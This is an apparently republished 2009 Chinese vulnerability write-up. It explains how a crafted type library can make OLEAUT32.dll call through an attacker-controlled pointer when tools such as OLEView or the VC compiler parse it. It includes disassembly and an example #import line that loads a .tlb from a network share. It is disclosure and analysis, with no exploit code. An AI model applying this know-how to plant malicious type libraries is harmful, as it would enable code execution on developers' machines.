计算机oleaut32.dll,OLEAUT32.dll模块中处理类型库的相关函数可导致代码执行 -电脑资料...
tombkeeper[Base64Decode("dG9tYmtlZXBlckB4Zm9jdXMub3Jn")]
2009.10.1
剛下載完幾部不錯的片子,但是考慮到做人要講信用,所以我還是堅持寫完了這篇Blog,
這個小問題是2008年初發現的,報告給微軟后,微軟認為這并不是一個安全漏洞——或者說,這并不是一個值得修復的安全漏洞。所以,以下以“小問題”來稱呼這個小問題。
接觸過COM的朋友,對類型庫(TypeLib)一定不陌生。類型庫由接口描述語言(IDL)編寫,類似下面這樣:
// TLBTest.idl
[
uuid( 11111111-1111-1111-1111-111111111111 ),
version( 1.0 ),
helpstring( "TLBTest COM" )
]
library TLBTest
{
importlib( "stdole2.tlb" );
[
uuid( 22222222-2222-2222-2222-222222222222 ),
//helpstring( "struct TLBTestVtbl" ),
dual,
oleautomation,
hidden,
nonextensible
]
interface TLBTest_ : IDispatch
{
};
[
uuid( 33333333-3333-3333-3333-333333333333 ),
//helpstring( "struct TLBTest" ),
appobject
]
coclass TLBTest
{
[default] interface TLBTest_;
}
}
把上面的TLBTest.idl用midl.exe編譯,生成TLBTest.tlb。這就是一個類型庫。類型庫可以獨立存在,也可以捆綁在PE文件中。
在Windows系統中,處理類型庫的函數都封裝在系統目錄下的OLEAUT32.dll模塊里。當你使用COM(譬如ActiveX控件)時,就會和這些函數打交道。
打開前面編譯生成的TLBTest.tlb,可以看到偏移0x1A8處的4字節是0。當類型庫被映射到內存中后,這四個字節會用來存放一個類實例指針。四個字節的0實際上是把這個指針初始化為NULL。
事實上,當類型庫被加載到內存中后,OLEAUT32.dll模塊中的代碼會先判斷一下這個指針是不是NULL:
775F4D8C???mov????edi, [esi+5Ch]??;
775F4D8F???test???edi, edi????????; 如果0x1A8處不為0
775F4D91???jnz????loc_775F4E6E
775F4E6E loc_775F4E6E:
775F4E6E???mov????ecx, edi????????;
775F4E70???call???CTypeInfo2::InternalAddRef(void)
如果這四字節不為0,就會直接將它作為類實例指針進行一系列的函數調用。類似這樣:
7760C1F0???mov????eax, [edi]
7760C1F2???lea????ecx, [ebp+var_2F0]
7760C1F8???push???ecx
7760C1F9???push???[ebp+lpSubKey]
7760C1FF???push???edi
7760C200???call???dword ptr [eax+10h] ; OLEAUT32!CTypeLib2::GetTypeInfo()
7760C203???mov????ebx, eax
7760C205???test???ebx, ebx
7760C207???jl?????loc_7760C13C
7760C20D???mov????eax, [ebp+var_314]
7760C213???test???eax, eax
7760C215???jnz????loc_776134EB
7760C21B???mov????eax, [ebp+var_2F0]
7760C221???mov????ecx, [eax]??????????; eax = 0x1A8處的值+4
7760C223???lea????edx, [ebp+var_334]
7760C229???push???edx
7760C22A???push???eax
7760C22B???call???dword ptr [ecx+0Ch]?; bingo
那么這個小問題影響哪些軟件呢?可以說,凡是用了OLEAUT32.dll中那些類型庫函數的軟件,都受影響,OLEAUT32.dll模塊中處理類型庫的相關函數可導致代碼執行》(https://www.unjs.com)。但是對大多數軟件來說,這并不算太大的問題。因為當其處理某類型庫時,也就意味著執行了類型庫對應的COM代碼。
譬如說,你在系統上安裝了Real Player,那么當你用任何軟件播放Real格式的媒體文件時,實際上都處理了Real Player的類型庫。理論上,如果這個類型庫是特殊處理過的,就可能使你執行任意代碼。但是別忘了,系統處理Real Player的類型庫是為了執行播放器的代碼。如果有人想構造一個惡意的Real Player,那么直接修改代碼本身是更簡單的辦法。
所以說,這個小問題,對一般人影響并不大。
但是,假如你從事的是軟件方面的技術工作,經常編譯一些網上看到的代碼,或者做一些逆向分析的工作,那么這個小問題也許就不那么小了。
很多開發工具都會處理那些并沒有安裝在系統上的COM中的類型庫。也就是說,這些工具僅僅只是“查看”COM的類型庫。而現在,當你認為自己只是在“查看”一個類型庫時,就可能已經執行了代碼。
VC中帶的OLEView工具、VC編譯器本身(cl.exe及其處理CPP的相關模塊)、eXeScope或者其它任何一個能查看PE資源中類型庫信息的工具、Total Commander的Fileinfo插件(http://physio-a.univ-tours.fr/tcplugins/FILEINFO.htm),至少這些工具都可以觸發這個小問題。
需要解釋一下的是,VC編譯器為什么會在受影響的列表里。VC編譯器支持直接從類型庫中“import”獲取接口定義的工作方式。也就是說,當我們在任意一個CPP文件中,插入一行:
#import "\\192.168.0.254\Daddy\TLBTest.tlb"
這樣,編譯器在編譯時就會試圖從192.168.0.254這臺主機上的Daddy共享目錄下讀取并解析TLBTest.tlb。
由于這是系統庫的問題,和任何軟件本身無關。所以它影響至少VC 6之后所有版本的VC。又由于至少Windows 2000之后所有Windows的OLEAUT32.dll都有這個問題,所以它基本上影響所有用VC的人。想象一下:你從某網頁找到一段能解決你問題的代碼,復制下來,一編譯,啪~。
這是一個控制指針的小問題,對這類問題一般首先想到的是Heap Spray。然而,在VC編譯器這類軟件中是沒法Heap Spray的(我和同事測試過多種方案,都沒有成功,當然也許還有我們沒有想到的方法)。
所以后來用了一種不依賴Heap Spray的方法,也可以幾乎百分之百成功利用。不過對軟件的大版本號略有依賴。以VC為例,VC 6的利用是一個代碼,VC 2005和VC 2008是另一個。也許還有人記得這篇Blog:/Article/200910/41773.html,其實講的就是這個小問題的利用。
順便多說一句:對部分類型的漏洞來說,DEP+ALSR+SEHOP雖然還不能說完全是浮云,起碼也是部分浮云了。
總結
以上是生活随笔為你收集整理的计算机oleaut32.dll,OLEAUT32.dll模块中处理类型库的相关函数可导致代码执行 -电脑资料...的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 卢森堡太空总署的研究预计2018-204
- 下一篇: 使用FreePBX和第三方线路对接